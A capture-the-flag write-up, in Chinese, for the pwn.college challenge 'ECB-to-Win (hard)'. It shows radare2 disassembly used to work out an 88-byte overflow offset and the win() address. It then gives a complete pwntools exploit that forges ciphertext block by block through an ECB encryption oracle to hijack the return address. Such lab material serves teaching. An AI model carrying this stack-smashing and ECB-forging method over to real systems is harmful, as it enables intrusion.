PwnCollege - IS ECB-to-Win (hard)

同 easy 版本的 dispatch oracle 和 ECB block-by-block 加密策略,区别在于没有 stack dump 提示,需要手动逆向 offset。

Analysis

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/vulnerable-overflow

关键溢出点:

1
2
3
4
5
6
; plaintext struct 起始于 s1 = rbp - 0x60
│ 0x0040173b lea rsi, [s1] ; rbp - 0x60
; message buffer = s1 + 0x10 (跳过 8 字节 header + 8 字节 length)
│ 0x0040173f add rsi, 0x10 ; rbp - 0x50
; buffer overflow: 无长度限制
│ 0x00401749 call sym.imp.EVP_DecryptUpdate
  • message buffer 起始于 rbp - 0x50
  • saved rbp 在 rbp + 0x00,saved rip 在 rbp + 0x08
  • offset = 0x50 + 0x08 = 88 bytes

sym.win 地址:

1
2
│           0x004013b6      endbr64
│ 0x004013be lea rdi, str.You_win__Here_is_your_flag:

win() = 0x4013b6

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.log_level = "info"

# 0x50 (buffer to rbp) + 0x08 (saved rbp) = 88
OFFSET = 88
WIN_ADDR = 0x4013b6


def encrypt_block(block_data):
p = process(["/challenge/dispatch"], level="error")
p.send(block_data)
p.shutdown("send")
ct = p.recvall()
p.close()
return ct[16:32]


def build_payload():
p_init = process(["/challenge/dispatch"], level="error")
p_init.send(b"A" * 16)
p_init.shutdown("send")
first_block_ct = p_init.recvall()[:16]
p_init.close()

raw_payload = b"A" * OFFSET + p64(WIN_ADDR)
padded_payload = pad(raw_payload, 16)

final_ct = first_block_ct
for i in range(0, len(padded_payload), 16):
final_ct += encrypt_block(padded_payload[i : i + 16])

log.success(f"Payload length: {len(final_ct)} bytes")
return final_ct


def exploit():
payload = build_payload()
target = process("/challenge/vulnerable-overflow")
target.send(payload)
target.shutdown("send")
print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
exploit()